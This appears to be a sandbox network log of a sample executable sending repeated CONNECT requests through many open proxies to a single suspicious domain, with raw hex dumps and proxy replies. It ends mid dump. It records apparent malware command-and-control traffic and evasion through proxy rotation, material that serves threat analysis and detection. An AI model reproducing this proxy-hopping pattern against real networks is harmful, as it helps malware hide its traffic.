1535	192.168.2.9	53098	45.225.204.8	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.312664986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.387909889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.388413906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.403649092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.403762102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.403248072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:57.404886007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:21.418776989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:09.418622017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.9	54894	161.97.163.52	55109	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.313369036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.028600931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.9	54923	147.75.34.85	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.322782040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.624095917 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3
Mar 11, 2024 15:21:09.646807909 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 55 55 7c 07 3a 1b bf e4 de eb 7c f5 9b 50 28 30 20 10 e1 51 c8 2c 1e b6 4a 86 d1 48 6d 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eUU\|:\|P(0 Q,JHm*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.9	54880	94.177.106.178	2324	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.325273037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.694169044 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.9	54906	37.235.53.208	6789	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.327841997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.028650999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.348422050 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:10 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.9	55036	104.19.5.247	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.336638927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.492058039 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.9	53094	185.236.46.221	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.341638088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.9	54964	52.73.224.54	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.411514044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.629017115 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.9	50397	209.222.97.30	19481	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.479630947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.9	54933	185.49.30.5	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.480276108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.9	54206	103.35.189.217	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.482199907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.528764963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.637901068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.638065100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.637592077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.639980078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:57.637527943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:21.637511969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:09.637450933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.9	54940	221.153.92.39	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.533621073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.9	54913	14.232.235.13	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.534388065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.961416960 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.9	54900	139.59.1.14	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.534400940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.963526011 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.9	54926	69.230.240.163	32650	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.535001993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.907972097 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:10.263128042 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Mar 11, 2024 15:21:10.266941071 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.9	55030	157.185.165.110	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.535136938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.9	54942	193.239.58.92	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.535933971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1552	192.168.2.9	54966	13.37.59.99	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.598764896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.896594048 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.9	54937	5.202.104.22	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.600213051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.9	54917	43.231.22.229	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.601222992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.9	54946	185.217.143.23	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.601893902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.9	54993	121.182.138.71	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.602787018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.9	54027	85.62.218.250	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.603008032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.910325050 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 